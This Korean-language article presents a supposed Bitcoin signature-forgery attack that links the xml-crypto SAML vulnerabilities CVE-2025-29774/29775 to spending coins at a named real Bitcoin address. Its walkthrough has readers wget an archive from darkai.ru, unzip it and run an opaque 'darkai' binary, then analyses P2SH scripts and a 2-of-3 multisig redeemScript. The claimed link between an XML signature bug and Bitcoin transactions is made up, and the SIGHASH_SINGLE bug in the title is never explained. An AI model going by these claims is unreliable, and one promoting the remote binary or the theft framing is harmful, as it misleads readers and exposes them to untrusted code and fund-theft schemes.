
CVE-2025-29774 취약점과 SIGHASH_SINGLE 버그가 가짜 RawTX로 다중 서명 지갑 운영 방식을 위협하는 방법
이 글에서는 디지털 서명 위조 공격(Digital Signature Forgery Attack)에 대해 살펴보겠습니다. 이러한 공격의 결과는 비트코인 네트워크에서 트랜잭션의 보안을 위협하는데, 그 이유는 디지털 서명이 암호화폐 전송의 소유권과 승인을 확인하기 때문입니다. 최신 연구와 확인된 취약점을 바탕으로 이러한 공격이 비트코인에 미치는 영향의 사례를 살펴보겠습니다.
디지털 서명 위조 공격(Digital Signature Forgery Attack)은 공격자가 비트코인 네트워크에서 유효한 것으로 인식될 가짜 ECDSA 디지털 서명을 생성하려는 시도입니다. 이 공격은 소유자의 개인 키를 모르고도 트랜잭션을 승인할 수 있게 하여 BTC 코인 보유자의 암호화폐 지갑 내 자금 보안을 위험에 빠뜨립니다.
암호학에서 디지털 서명은 메시지나 트랜잭션의 진위를 확인하는 수단을 제공합니다. 서명 위조란 시스템에서 유효한 것으로 받아들여질 "RawTX" 쌍을 생성하는 것이 가능함을 의미하며, 실제로는 개인 키 소유자가 생성한 것이 아닙니다. 이는 사기, 자금 도난, 블록체인 무결성 침해의 길을 열어줍니다. 디지털 서명 위조 공격(DSFA)은 암호화 공격으로서 Node.js 플랫폼에서 XML 문서의 서명을 확인하기 위해 xml-crypto 라이브러리를 사용하는 소프트웨어 구성 요소에서 구현됩니다.
무엇보다 이는 엔터프라이즈 통합 솔루션, 클라우드 서비스 및 SAML 인증 및 권한 부여를 위해 xml-crypto에 의존하는 IBM App Connect Enterprise Certified Container 및 기타 애플리케이션과 같은 SSO(Single Sign-On, 단일 로그인) 시스템에 영향을 미칩니다. 하드웨어 취약점은 특정 물리적 장치와 관련이 없지만 취약한 라이브러리를 사용하는 소프트웨어 제품에서 구현됩니다.
CVE-2025-29774 및 CVE-2025-29775 취약점은 디지털 서명 위조 공격(Digital Signature Forgery Attack)으로 알려져 있으며, xml-crypto 소프트웨어 라이브러리 , Node.js 플랫폼에서 XML 문서에 디지털 서명 및 암호화를 위한 라이브러리에서 구현됩니다.
보안 게시판: IBM App Connect Enterprise Certified Container 피연산자가 XML 데이터 [CVE-2025-29774] [CVE-2025-29775]에서 서명 검증 우회에 취약함
CVE-2025-29774 및 CVE-2025-29775 (SAMLStorm)에 대한 공개
따라서 이 코드는 다양한 체계(RSA with different SHA hashes and HMAC-SHA1)에 대한 암호화 서명 및 서명 검증 알고리즘을 구현하여 데이터의 디지털 서명이 필요한 시스템에 통합할 수 있도록 합니다.
signature-algorithms.ts 코드 는 데이터의 무결성과 진위성을 보장하는 디지털 서명을 안전하게 생성하고 확인하는 데 사용됩니다. ECDSA 서명은 개인 키를 사용하여 작성자 확인을 제공하고, HMAC는 비밀 키를 사용하여 무결성 및 진위성 확인을 제공합니다. 사용된 알고리즘은 XML 디지털 서명 표준(알고리즘 URI는 W3C 사양을 가리킴)을 준수합니다.
따라서 signature-algorithms.ts 코드는 다양한 체계(ECDSA, RSA with different SHA hashes and HMAC-SHA1)에 대한 암호화 서명 및 서명 검증 알고리즘을 구현하여 데이터의 디지털 서명이 필요한 시스템에 통합할 수 있도록 합니다.
SignatureAlgorithm 인터페이스를 구현하며 다음과 같은 메서드를 제공합니다:
getSignature): 서명 데이터와 개인 키를 받아 base64 형식의 디지털 서명을 반환합니다.verifySignature): 입력, 공개 키 및 서명을 받아 서명이 올바른지 여부를 나타내는 부울 값을 반환합니다.getAlgorithmName): 사용된 서명 알고리즘을 식별하는 URI를 반환합니다.crypto.createSign 및 crypto.createVerify 클래스를 해당 알고리즘(“RSA-SHA1”, “RSA-SHA256”, “RSA-SHA512”)과 함께 사용합니다.crypto.createHmac 을 “SHA1” 알고리즘과 함께 사용합니다.createOptionalCallbackFunction 함수로 래핑되어 있으며, 이 함수는 아마도 콜백과 프로미스 모두와 함께 사용할 수 있도록 합니다(코드에 세부 정보는 없음).RSA-SHA1 알고리즘의 암호화 서명 사용에는 SHA-1 해시 충돌과 관련된 취약점이 포함되어 있습니다. 이는 공격자가 서명되는 데이터의 일부를 제어할 수 있는 경우 동일한 서명을 가진 두 개의 다른 메시지를 생성할 수 있게 합니다.
특히 문제는 RsaSha1 클래스에 있습니다:
const signer = crypto.createSign("RSA-SHA1"); // 취약한 라인
signature-algorithms.ts#L7
또한 두 번째 취약점은 RsaSha1 클래스에 있습니다:
const verifier = crypto.createVerify("RSA-SHA1"); // 취약한 라인
signature-algorithms.ts#L17
HmacSha1는 덜 취약하지만 역시 구식입니다. HMAC는 "네이키드" SHA-1보다 충돌에 더 강하지만 SHA-256으로 전환하는 것이 바람직합니다.
CVE-2025-29774 및 CVE-2025-29775는 XML 문서의 디지털 서명 확인 부적절과 관련된 Node.js용 xml-crypto 라이브러리의 중요한 취약점입니다. 두 취약점 모두 공격자가 서명된 XML 메시지를 수정하여 서명 확인에 감지되지 않도록 할 수 있습니다.
제공된 코드에서 RsaSha1 클래스는 서명 및 확인을 위해 레거시 RSA-SHA1 알고리즘을 사용합니다:
const signer = crypto.createSign("RSA-SHA1"); // 취약한 라인 №7
const verifier = crypto.createVerify("RSA-SHA1"); // 취약한 라인 №17SHA1은 암호학적으로 안전하지 않은 것으로 간주되며, 주요 문제는 XML 구조를 처리하는 라이브러리의 로직 에 있습니다:
<SignedInfo> 노드를 추가 하여 확인 중에 잘못된 해시 계산이 발생하도록 합니다.<Signature> <SignedInfo>...</SignedInfo> <!-- 원래 노드 --> <SignedInfo>...</SignedInfo> <!-- 공격자가 추가 --> </Signature>
// Usage SHA-256 / SHA-1 const signer = crypto.createSign("RSA-SHA256");<SignedInfo> 노드가 있는지 확인.이러한 취약점을 해결하는 것은 XML 서명을 인증에 사용하는 시스템(예: SAML, SOAP)에 매우 중요합니다.
xml-crypto 라이브러리는 XML 메시지(예: SAML, SOAP 등 프로토콜 포함)에서 디지털 서명을 검증하는 데 널리 사용됩니다. 따라서 이 취약점은 잠재적으로 다음에 영향을 미칩니다:
특정 장치의 위험을 평가하려면 취약한 버전의 xml-crypto를 사용하는지 또는 유사한 XML 서명 메커니즘에 의존하는지 확인하는 것이 좋습니다. Node.js 기반 암호화폐 지갑 작업을 위해 IBM은 별도의 솔루션(예: IBM Secure Bitcoin Wallet)을 제공합니다. 이는 Electrum Bitcoin Client를 기반으로 한 애플리케이션으로, Node.js를 사용하여 비트코인 네트워크와 상호 작용하고 지갑을 관리합니다.
이 솔루션에서 개인 키와 지갑은 IBM Cloud Hyper Protect Crypto Services(zHSM)를 사용하여 저장 및 암호화될 수 있으며, 이는 하드웨어 기반의 안전한 키 스토리지를 제공합니다. 비트코인 지갑의 개인 키 생성은 일반적으로 Electrum, bitcoinjs-lib 등과 같은 특수 암호화 라이브러리에서 구현되며, Node.js 애플리케이션에 통합될 수 있습니다. IBM Secure Bitcoin Wallet은 IBM Cloud Hyper Protect Crypto Services와의 통합을 통해 키 및 트랜잭션 관리를 위해 Node.js에서 수정된 Electrum 백엔드를 사용하며, 이는 하드웨어 암호화 및 개인 키의 안전한 저장을 제공합니다.
CVE-2025-29775 취약점 이론에 따르면, 공격자는 업데이트되지 않은 xml-crypto 라이브러리를 처리하여 잘못된 트랜잭션 값을 생성할 수 있습니다. 이제 기사의 실습 부분으로 넘어가서 비트코인 지갑 예시를 살펴보겠습니다: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe. 이 지갑에는 2025년 7월 기준 0.059672 BTC의 손실된 코인이 있었으며, 이 금액은 7,052 USD입니다.
Raw transaction 형식을 살펴보겠습니다. 이는 트랜잭션에 대한 모든 정보를 포함하는 바이너리 및 16진수 데이터입니다. 저수준에서 트랜잭션을 전송, 검증 또는 생성하는 데 필요하며, 전체 비트코인 네트워크 작동의 기초입니다. 일반 사용자는 Raw transactions을 직접 접하는 경우가 거의 없지만, 개발자와 암호화폐 애호가에게는 비트코인 네트워크의 모든 트랜잭션을 완전히 제어하기 위한 주요 도구입니다.
Raw Transaction
비트코인 네트워크에서 UTXO 객체를 완전히 반환하기 위해 Dark AI 도구를 사용합니다. UTXO는 블록체인의 데이터 구조에서 주요 부분이며, 개인 키(이 비트코인 주소를 제어하는) 보유자가 사용할 수 있는 BTC 코인의 양을 나타냅니다. 각 UTXO는 특정 과거 트랜잭션의 출력으로, 이후 트랜잭션에서 입력으로 사용된 적이 없습니다.
https://colab.research.google.com/drive/1TKrJ0bKsNgc72H9UvzpCnh2YPmRsyPdW
명령어:
!wget https://darkai.ru/repositories/neuralnet_tools.zipwget— HTTP, HTTPS 및 FTP 프로토콜을 통해 네트워크에서 파일을 다운로드하기 위한 명령줄 유틸리티입니다.neuralnet_tools.zip 아카이브를 다운로드합니다.unzip— 현재 디렉터리에서 ZIP 아카이브를 추출하는 명령입니다.이 명령은 neuralnet_tools.zip에서 모든 파일을 추출합니다.
!unzip neuralnet_tools.zip
빠르고 쉬운 보기를 위해 ls 명령을 실행합니다.
ls
!./darkai
지정된 비트코인 주소에 대한 소위 미사용 트랜잭션 출력 (UTXO, 해석: Unspent Transaction Output) 정보를 가져오는 명령을 실행합니다. 이 정보는 주소 잔액 평가 및 새 트랜잭션 가능성을 평가하는 데 중요합니다.
!./darkai -bitcoinaddress 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe[
{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200},
{'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}
]각 UTXO는 다음을 포함합니다:
<txid>:<n>. 여기서 <txid>는 고유한 트랜잭션 해시이고, <n>은 이 트랜잭션의 출력 목록에서 출력 번호입니다.8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0주소의 총 사용 가능 잔액은 발견된 모든 UTXO의 합계와 같습니다:

해석 프로세스를 사용하여 업데이트되지 않은 xml-crypto 라이브러리를 처리하여 잘못된 트랜잭션 값을 생성하고 큰 금액을 보냅니다. Dark AI 알고리즘은 어떤 UTXO를 사용할지(또는 둘을 결합할지) 선택합니다.
비트코인 주소 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe에는 총 0.05677200 BTC의 두 개의 활성 UTXO가 있습니다. 이 자금은 새 트랜잭션을 만드는 데 사용할 수 있으며, 두 출력 모두 확인되었고 사용되지 않은 것으로 간주됩니다.
비트코인 트랜잭션의 출력에 대한 정보 조각을 얻으려면 다음 명령을 사용하세요. 여기서 트랜잭션의 첫 번째 출력(
outs)은 고유 식별자8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd를 가집니다.
!./darkai -deserialize 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 — 이 출력을 사용하기 위한 조건을 정의하는 스크립트입니다.
a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287a914...87로 시작하며, 이는 P2SH (Pay to Script Hash) 형식에 해당합니다:
a9— OP_HASH160 (해시 연산자)14— 다음 값의 길이 (20바이트 = 40개 16진수 문자)06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 비트코인 지갑 주소 자체의 hash160으로, BTC 코인이 저장된 곳입니다.87— OP_EQUAL (두 데이터 조각을 비교하여 일치 여부를 확인하는 기본 비트코인 스크립트 명령 연산자)식별자
8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd로 트랜잭션을 역직렬화한 결과, 첫 번째 출력이 얻어졌으며, 여기에는 677,200 사토시 (0.00677200 BTC)가 포함되어 있고 P2SH 스크립트로 보호됩니다. 이 자금을 관리하려면 대상 스크립트를 제시하고 지정된 해시 조건을 충족하는 잠금 해제 트랜잭션을 올바르게 서명해야 합니다.
비트코인 트랜잭션의 원본 데이터(
output) 출력에 대한 정보 조각을 얻으려면 다음 명령을 적용하세요. 여기서 고유 식별자bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786를 가진 트랜잭션의 첫 번째 출력(outs)입니다.
!./darkai -deserialize bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786Dark AI를 사용한 해석 과정에서 역직렬화 함수를 통해, 식별자가bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786인 두 번째 트랜잭션의 첫 번째 출력 요소( output) 구조에 대한 정보를 얻습니다.
결과:
{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}5000000'outs'에 지정된 특정 트랜잭션 출력과 연결됩니다. 필드에 정의된 스크립트에 작성된 조건이 충족되는 경우에만 사용할 수 있습니다 'script'.
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'지정된 값은 비트코인 네트워크의 표준 스크립트 유형에 해당합니다:
a9— 연산 코드 OP_HASH160 (다음 라인에서 SHA-256에서 RIPEMD-160을 생성).14— 후속 필드의 길이: 20바이트 (40개의 16진수 문자).06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 비트코인 지갑 주소나 스크립트를 식별하는 20바이트 해시입니다.87— 연산 코드 OP_EQUAL.종합하면, 이 항목은 P2SH 주소(Pay-to-Script-Hash)를 의미합니다. 이 경우 자금은 특정 스크립트 조합에 할당되며, 이를 인출하려면 여기에 기록된 해시가 있는 스크립트를 공개하고 이 스크립트의 조건을 충족하는 서명(또는 기타 데이터)을 제시해야 합니다.
이 체계의 가장 일반적인 용도는 다중 서명, 단순 및 복잡한 스마트 계약, 양자 다중 서명, 조건부 보안 체계 및 기타 고급 시나리오입니다.
06612b7cb2027e80ec340f9e02ffe4a9a59ba762에 해당하는 P2SH 주소에 0.05 BTC (5,000,000 사토시)가 "잠겨" 있는 출력이 있습니다.따라서 역직렬화 결과는 조건부(P2SH) 주소에 일정량의 비트코인이 존재함을 알리고, 사용에 대한 엄격한 규칙을 정의하며, 이는 비트코인 네트워크에서 자금 관리 및 회계에 핵심적인 역할을 합니다.
스크립트 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'는 이 트랜잭션 출력에서 선택되어 사용됩니다. 이는 비트코인 네트워크의 일반적인 P2SH (Pay-to-Script-Hash) 잠금 스크립트를 나타내기 때문입니다.
조각별로 살펴보겠습니다:
a9— OP_HASH160: 후속 데이터에 SHA-256을 먼저 적용한 다음 RIPEMD-160을 적용하는 해싱 연산입니다.14— 해시 길이는 20바이트입니다 (16진수 형식).06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 스크립트의 20바이트 해시로, 스크립트 해시로 알려져 있습니다.87— OP_EQUAL: 스택에 있는 두 값의 동등성을 확인하는 연산자입니다.따라서 이 스크립트는 사용 시점(자금 사용)에 해시가 06612b7cb2027e80ec340f9e02ffe4a9a59ba762와 일치하는 스크립트를 제시하고, 해당 스크립트의 조건이 충족되어야 함을 요구합니다.
스크립트
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'는 P2SH 잠금 스크립트로, 0.05 BTC를 사용하려면 해시06612b7cb2027e80ec340f9e02ffe4a9a59ba762가 있는 원래 스크립트를 제공하고 그 안에 지정된 조건을 충족해야 함을 나타냅니다. 이는 편의성, 보안 및 기능성 사이의 균형을 제공하며, 이 트랜잭션에서 이 특정 스크립트를 선택한 주요 이유입니다. P2SH 스크립트의 해시06612b7cb2027e80ec340f9e02ffe4a9a59ba762는 이 출력에서 자금을 사용하기 위한 조건을 결정하는 원래 스크립트(리딤 스크립트)의 특정 해싱 결과입니다.
06612b7cb2027e80ec340f9e02ffe4a9a59ba762입니다. 이 해시는 생성된 정확한 시나리오를 고유하게 식별합니다.SHA-256 + RIPEMD-160))를 사용하여 원래 리딤 스크립트에서 생성되었으므로, 다른 해시를 무작위로 또는 임의로 선택할 수 없습니다.a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287에 포함된 이유입니다.따라서 이 특정 해시의 선택은 블록체인에서 자금에 대한 접근을 제어하는 특정 사용 조건과 출력의 정확하고 안전한 연결 필요성에 의해 결정됩니다. 이 모든 것은 암호화 해시 함수의 속성, 그 고유성 및 원래 데이터의 역복구 불가능성에 의해 보장됩니다.
비트코인 개발자들은 블록체인 네트워크의 보안을 보장하고 기능을 확장하는 핵심 혁신으로서 P2SH (Pay-to-Script-Hash) 메커니즘을 코드에 작성했습니다. 이 스크립트의 구조와 작동 원리, 기존 트랜잭션과의 차이점, 그리고 디지털 자산을 저장하고 보호하기 위해 이 접근 방식을 선택한 이유를 살펴보겠습니다.
전통적으로 비트코인 트랜잭션은 Pay-to-Pubkey-Hash (P2PKH) 방식을 사용하여 작동했습니다. 이 방식에서는 수신자의 공개 키 해시를 사용하여 자금이 "잠깁니다". 이러한 자금을 사용하려면 사용자가 자신의 디지털 서명과 공개 키를 제공해야 하며, 네트워크가 이를 확인합니다.
그러나 P2PKH 외에도 인터페이스는 제한적이었습니다. 비트코인 스크립트는 다중 서명에서 타임락 및 기타 스마트 계약 조건에 이르기까지 훨씬 더 복잡한 지출 조건을 허용하기 때문입니다. 문제는 길고 복잡한 스크립트가 불가피하게 트랜잭션의 크기를 증가시키고 사용성을 저하시킨다는 점이었습니다.
이러한 복잡한 시나리오와의 상호 작용을 단순화하기 위해 2012년에 P2SH 개념이 도입되었으며 , Gavin Andresen에 의해 BIP 16에서 표준화되었습니다. P2SH의 핵심은 scriptPubKey의 전체 지출 조건 스크립트를 암호화 해시 – 소위 스크립트 해시로 대체하는 것입니다.

역직렬화 결과로 지정된 스크립트를 살펴보겠습니다:
OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUAL이 스크립트는 표준 P2PKH와 달리 공개 키 해시 대신 redeemScript – 자금을 사용할 수 있는 조건 집합의 해시를 저장합니다.
이러한 자금을 사용하려면 이 출력을 참조하는 트랜잭션의 입력(scriptSig)에 다음을 전송해야 합니다:
트랜잭션을 처리할 때 네트워크 노드는:
따라서 P2SH는 지출 조건을 제시하고 확인하는 책임을 발신자(필요한 스크립트를 생성하는 사람)에서 지출자로 이전합니다.
P2SH를 사용하면 임의의, 종종 다중 레벨 조건을 가진 주소를 생성할 수 있습니다 – 예를 들어, 다중 서명 요구사항(2/3, 3/5 등), 시간 제한, 분배 로직 등이 있습니다. 이 경우 발신자는 기술적 세부 사항을 다루지 않고 간단히 컴팩트한 해시 주소로 자금을 보냅니다.
전체 스크립트를 블록체인에 저장하는 대신, 트랜잭션에는 해당 해시만 저장됩니다. 이는 네트워크 부하를 줄이고 블록 크기를 줄이며 트랜잭션 확인 속도를 높입니다.
redeemScript는 지출 시에만 공개되고 확인되므로 조건의 기밀성을 높이고 무단 액세스 시도를 더 어렵게 만듭니다. 암호화 해시 함수의 사용은 위조 및 변조에 대한 보호를 보장합니다 – 스크립트의 약간의 편차라도 다른 해시를 초래하고 네트워크는 트랜잭션 수락을 거부할 것입니다.
P2SH는 비트코인에서 복잡한 스마트 계약의 사용을 표준화하고 단순화하여 통합을 간소화하고 다양한 지갑 및 서비스와의 호환성을 높입니다.
전형적인 예는 트랜잭션을 완료하기 위해 5명의 참가자 중 2명의 서명이 필요한 지갑입니다. P2SH를 사용하면:
이로 인해 P2SH는 기업 계정, 합작 투자 및 액세스 제어가 필요한 기타 상황에 이상적입니다. Pay-to-Script-Hash (P2SH) 메커니즘은 비트코인 아키텍처의 기본 부분으로, 다음 사이의 균형을 제공합니다:

ins) 추출에 대한 암호 분석해시가 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132인 트랜잭션의 입력 중 하나에 대한 정보를 얻기 위해 명령을 실행해 보겠습니다. 이러한 입력의 분석은 스크립트 수준에서 자금 사용 권한 부여 메커니즘을 이해하는 데 중요합니다.
!./darkai -scriptsig 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132첫 번째 트랜잭션 입력 (
ins) 추출 결과는 다음과 같습니다:
{
'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae',
'outpoint': {
'index': 1,
'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'
},
'sequence': 4294967295
}script) 상세 분석script 필드의 값은 scriptSig이며 , 해당 이전 트랜잭션 출력의 잠금을 해제하는 데 사용됩니다.00으로 시작하며, scriptSig의 맥락에서 OP_0 을 의미할 수 있으며 , 전통적으로 다중 서명 시나리오(예: 스텁이 필요한 Pay-to-Script-Hash 다중 서명 표준의 경우)에서 사용됩니다.3045...). 이는 일반적으로 서명 세부 정보를 포함하는 일련의 바이트로 구성됩니다.outpoint)'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'— 이전 트랜잭션의 해시입니다.'index': 1– 잠금 해제에 사용되는 두 번째 출력(0부터 번호 지정)을 나타냅니다.sequence)4294967295 (0xFFFFFFFF)은 최대 32비트 숫자입니다.주어진 트랜잭션 해시로 첫 번째 트랜잭션 입력 (
ins) 추출에 대한 암호 분석 결과 다음을 보여주었습니다:
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577:1의 특정 출력에 대한 참조가 사용됩니다.따라서 얻은 데이터는 자금 사용 권리 확인 메커니즘에 대한 더 깊은 이해를 가능하게 하며, 비트코인 네트워크의 보안을 보장하고 비트코인 스크립트 기반 스마트 계약의 개발 및 감사에도 사용됩니다.
outs) 추출 결과 상세 분석식별자
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577를 가진 트랜잭션의 출력 중 하나에 대한 정보를 얻기 위해 명령을 실행해 보겠습니다.
!./darkai -redeemscript ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577
outs구체적으로 이 트랜잭션의 두 번째 출력 ( )인 인덱스 1 요소가 추출되었습니다 .
{
'value': 350000,
'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
}value 상세 분석
scripta91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287는 P2SH (Pay-to-Script-Hash) 형식의 고전적인 잠금 스크립트(scriptPubKey)입니다 .a9— OP_HASH160은 입력 데이터에 먼저 SHA-256을 적용한 다음 RIPEMD-160을 적용하는 연산자입니다.14— 다음 값의 길이(20바이트)는 해시 크기입니다.06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 20바이트 해시, 일명 스크립트 해시 는 이러한 자금의 지출을 제어하는 redeem 스크립트의 고유한 표현입니다.87— OP_EQUAL은 두 값을 비교하고 같으면 true를 반환하는 연산자입니다.따라서 스크립트는 잠금을 해제(자금 사용)하기 위해 사용자가 해시가 이 값과 일치하는 redeem 스크립트를 제시해야 합니다.
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577는 0.0035 BTC를 포함하는 출력과 연결됩니다.06612b7cb2027e80ec340f9e02ffe4a9a59ba762를 가진 스크립트에 의해 제어되는 P2SH 주소에 묶여 있습니다.
수신된 정보는 두 번째 트랜잭션 출력 레코드
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577가 hash160 값06612b7cb2027e80ec340f9e02ffe4a9a59ba762를 가진 표준 P2SH 스크립트에 의해 제어되는 0.0035 BTC의 금액을 저장함을 확인합니다. 이 자금을 관리하려면 해당 redeem script를 제시해야 하며, 이는 비트코인 관리에 높은 수준의 보안과 유연성을 제공합니다.
OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeHASH160를 얻기 위해 명령을 실행해 보겠습니다. 비트코인 개발자들은 20바이트 해시(16진수)에 대한 표준을 설정했으며, 이는 스크립트 및 공개 키의 축약 식별자를 나타내기 위해 비트코인(BTC), 이더리움(ETH), 테더(USDT), BNB(BNB), 솔라나(SOL), 리플(XRP), 카르다노(ADA), 도지코인(DOGE), USDC(USDC), 폴카닷(DOT), 아발란체(AVAX), 시바이누(SHIB), 스텔라(XLM), 트론(TRX), 체인링크(LINK), 라이트코인(LTC), 비트코인캐시(BCH), 모네로(XMR)와 같은 다른 인기 암호화폐에서 변경 없이 널리 사용됩니다.
!./darkai -hexdata 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae처리 과정:
06612b7cb2027e80ec340f9e02ffe4a9a59ba762이 20바이트 해시(16진수)를 HASH160이라고 하며, 비트코인에서 스크립트 및 공개 키의 축약 식별자를 나타내는 데 널리 사용됩니다.
암호화 해시 함수를 사용하여 비트코인 스크립트를 처리하는 주요 단계입니다.
직렬화된 스크립트나 공개 키를 HASH160으로 변환하면 비트코인 블록체인에서 데이터의 효율적인 식별, 인덱싱 및 보호가 가능합니다.
수신된 해시:
{'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'}팀은 복잡한 스크립트와 비트코인 네트워크에서 트랜잭션을 저장하고 검증하는 데 사용되는 간결한 형식 간의 연결 역할을 하는 정확한 해시를 생성했습니다.
사토시 나카모토는 비트코인의 해싱 알고리즘에 SHA-256 이중 해싱(즉, SHA-256을 연속으로 두 번 적용)을 사용하기로 선택했습니다. 이는 네트워크의 암호화 강도와 보안을 향상시키는 여러 중요한 이유 때문입니다.
SHA-256의 이중 사용은 사토시 나카모토가 전체 비트코인 시스템에 추가 보안 계층과 강력한 암호화 강도를 제공하기 위한 의도적인 선택입니다. 이 설계는 충돌 위험을 최소화하고 일방향성을 향상시키며 블록체인 네트워크의 데이터를 안전하게 보호하여 시스템의 트랜잭션 보안 및 합의를 위한 견고한 기반을 만듭니다. 따라서 이중 SHA-256은 고급 암호화 기술과 분산 시스템을 결합한 비트코인 아키텍처의 핵심 요소입니다.

현대 비트코인 트랜잭션의 보안과 유연성은 자금 사용에 대한 복잡한 조건을 허용하는 스크립팅 시스템을 기반으로 합니다. 핵심 메커니즘 중 하나는 다중 서명(multisig)으로, 가능한 서명 집합에서 여러 개의 유효한 디지털 서명이 있을 때만 자금을 사용할 수 있습니다. 이 글에서는 이것이 비트코인에서 어떻게 구현되는지, redeemScript가 무엇인지, OP_CHECKMULTISIG 명령어가 어떻게 작동하는지, 그리고 그러한 접근 방식이 왜 요구되는지 자세히 살펴보겠습니다.
비트코인의 맥락에서 redeemScript는 Pay-to-Script-Hash(P2SH) 형식의 트랜잭션 출력에 저장된 자금 사용 조건을 포함하는 스크립트입니다. 전체 스크립트를 블록체인에 저장하는 대신 redeemScript 해시가 출력에 저장되어 공간을 절약하고 사용 시점까지 조건의 세부 사항을 숨깁니다.
RedeemScript는 예를 들어 여러 공개 키와 임계값 서명 수를 포함할 수 있습니다. 이것이 바로 다중 서명 지갑이 구현하는 것입니다.
OP_CHECKMULTISIG 명령어를 고려해 보겠습니다: 목적과 작동 방식, 여기서 다중 서명 검사를 구현하는 redeemScript의 주요 요소는 OP_CHECKMULTISIG입니다.
OP_CHECKMULTISIG 구현의 역사적인 버그로 인해 실행 중에 스택에서 하나의 추가 요소(사용되지 않는 값)가 제거됩니다. 이 문제를 방지하기 위해 scriptSig는 시작 부분에 특수 요소
OP_FALSE(값 0)를 사용하여 이 버그를 보상하고 잠재적 취약점을 방지합니다.
OP_FALSE이며 OP_FALSE <signature1> <signature2> ... <redeemScript>.redeemScript 코드 기반:
023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG
OP_CHECKMULTISIG 연산은 제공된 두 서명(scriptSig 내)이 세 개의 키 중 두 개에 해당하고 유효한지 확인합니다.OP_FALSE는 추가 값을 제거하는 버그를 보상합니다.OP_FALSE와 관련된 역사에도 불구하고 이 메커니즘은 신뢰성을 입증했으며 광범위하게 적용되었습니다.RedeemScript 와 OP_CHECKMULTISIG 명령어는 비트코인 무기고에서 강력하고 복잡한 도구로, 서명 임계값을 갖는 다중 서명 지갑을 생성할 수 있게 해주며, 자금에 대한 높은 수준의 보안과 통제를 제공합니다. 이 메커니즘은 분산되고 안전한 환경에서 자산의 공유 관리를 사용하려는 조직, 사용자 및 서비스의 초석이 되었습니다. 따라서 redeemScript와 OP_CHECKMULTISIG를 통한 다중 서명은 단순한 기술이 아니라 고전적인 암호화폐 모델의 기능을 확장하는 기능입니다.

비트코인 다중 서명 검증 메커니즘은 OP_CHECKMULTISIG 및 redeemScript 명령어를 사용하는 특수 스크립트를 기반으로 하며, 이를 통해 임계값 서명 일치를 허용하여 향상된 보안과 자금의 공유 관리를 제공합니다.
